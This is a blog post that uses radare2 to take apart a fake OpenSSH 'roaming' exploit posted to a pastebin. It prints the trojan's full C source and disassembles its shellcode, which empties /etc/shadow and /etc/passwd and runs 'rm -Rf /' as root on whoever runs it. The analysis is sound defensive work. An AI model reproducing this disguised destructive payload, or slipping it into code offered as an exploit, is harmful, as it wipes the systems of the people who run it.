Artificial truth

Home Archives

Various musings mainly powered by French cheese and red wine.

Jan 15, 2016

How to radare2 a fake openssh exploit

Today on IRC, someone said this:

> < nick > http://pastebin.com/T2zjAdZ5 < nick > time to r2 this crap ;)

The content of the paste being:

```
/*
Exploit   : openssh roaming Exploit  -- CVE-2016-0777
Author:   : KingCope
Compile   : gcc  -W sploit.c -o sploit
Usage:    : ./sploit HOST IP
Thanks    : openBSD, congratz, guys
*/

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
  printf("Target : openssh 4.7 to 7.1 roaming\n");
  printf("Type   : 0day\n");
  printf("Author : You know me\n");
  printf("Exec   : %s <server> <port>\n\n", argv[0]);
  exit(1);
}

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

int main(int argc, char *argv[])
{
  int uid = getuid();
```

```
    int port = 22, sock;
    struct hostent *host;
    struct sockaddr_in addr;

    if(uid !=0)
    {
      fprintf(stderr, "- Abort - Need ROOT to bind to raw socket!!\n")
      exit(1);
    }
    if(uid == 0)
    {
      printf("\t+ OK Starting..\n");
    }
    if(argc != 3)
        usage(argv);

    fprintf(stderr, "[ ] Use IP and port (mandatory)\n");
    (*(void(*)())shellcode)();
    exit(1);
    char payload[1024];
    memcpy(payload, &shellcode, sizeof(shellcode));
    if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
    {
      printf("+ OK roaming mode activated, enjoy your shell!\n");
      system("/bin/sh");
    }
    else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1)
    {
      fprintf(stderr, "- Failed! Roaming mode deactiveted??!!\n");
      exit(1);
    }
  }
```

Looks like a classic fake exploit, the payload being executed on your machine, before the call to `exit(1)`, as root.

You can pipe the shellcode directly to `rasm2` with this ugly one-liner:

```
$ curl -s http://pastebin.com/raw/T2zjAdZ5 | grep '"\\x' | tr -d '\\x' |
push 0xb
pop eax
cdq
push edx
push 0x632d
mov edi, esp
push 0x68732f
push 0x6e69622f
mov ebx, esp
push edx
call 0x56
arpl word gs:[eax + 0x6f], bp
and byte [edx], ah
and ah, byte [eax]
and byte ds:[edi], ch
je 0x8e
das
[...]
```

Since `rasm2` doesn't have analysis/flexible formatting capabilities, we're going to use `radare2` instead:

```
$~ r2 -b 32 -
 -- Control the signal handlers of the child process with the 'dk' comma
[0x00000000]> wx 6a0b58995266682d6389e7682f736800682f62696e89e352e839000
[0x00000000]> aaa
[0x00000000]> pd 16
╒ (fcn) fcn.00000000 512
│           0x00000000      6a0b           push 0xb
│           0x00000002      58             pop eax
│           0x00000003      99             cdq
│           0x00000004      52             push edx
│           0x00000005      66682d63       push 0x632d
│           0x00000009      89e7           mov edi, esp
│           ; DATA XREF from 0x00000000 (fcn.00000000)
│           0x0000000b      682f736800     push 0x68732f
│           0x00000010      682f62696e     push 0x6e69622f
│           0x00000015      89e3           mov ebx, esp
│           0x00000017      52             push edx
│           0x00000018      e839000000     call 0x56
│           0x0000001d      6563686f       arpl word gs:[eax + 0x6f], bp
│           0x00000021      2022           and byte [edx], ah
│           0x00000023      2220           and ah, byte [eax]
│           0x00000025      3e202f         and byte ds:[edi], ch
│           0x00000028      657463         je 0x8e
[0x00000000]>
```

Radare2 fails to identify the strings at `0x05`, `0x0b` and `0x10`, but you can force it to do so with the `ahi` command (`ahi?` to get help about it):

```
[0x00000000]> ahi 2 @ 0x00000005
[0x00000000]> ahi 2 @ 0x0000000b
[0x00000000]> ahi 2 @ 0x00000010
[0x00000000]> pd 16
╒ (fcn) fcn.00000000 512
│           0x00000000      6a0b           push 0xb
│           0x00000002      58             pop eax
│           0x00000003      99             cdq
│           0x00000004      52             push edx
│           0x00000005      66682d63       push '-c'
│           0x00000009      89e7           mov edi, esp
│           ; DATA XREF from 0x00000000 (fcn.00000000)
│           0x0000000b      682f736800     push '/sh'
│           0x00000010      682f62696e     push '/bin'
│           0x00000015      89e3           mov ebx, esp
│           0x00000017      52             push edx
│           0x00000018      e839000000     call 0x56
│           0x0000001d      6563686f       arpl word gs:[eax + 0x6f], bp
│           0x00000021      2022           and byte [edx], ah
│           0x00000023      2220           and ah, byte [eax]
│           0x00000025      3e202f         and byte ds:[edi], ch
│           0x00000028      657463         je 0x8e
[0x00000000]>
```

Interesting, lets see what happens in `0x56`:

```
[0x00000000]> pd 4 @ 0x56
            ; CALL XREF from 0x00000018 (fcn.00000000)
│           0x00000056      57             push edi
│           0x00000057      53             push ebx
│           0x00000058      89e1           mov ecx, esp
│           0x0000005a      cd80           int 0x80
[0x00000000]>
```

`eax` being set to `11` at the beginning of the shellcode with a `push+pop` combo, this is trigger an `execve` syscall, with `/bin/sh -c` passed as parameter, and we can see its payload right after the offset of the `call 0x56` instruction, as a string:

```
[0x00000000]> psz @ 0x0000001d
echo " > /etc/shadow ; echo " > /etc/passwd ; rm -Rf /
[0x00000000]>
```

Of course you could have used `xxd`, but the goal was more to show you fancy radare2 commands, not a 1337-reversing of a complex APT.

posted at 11:30, the 2016-01-15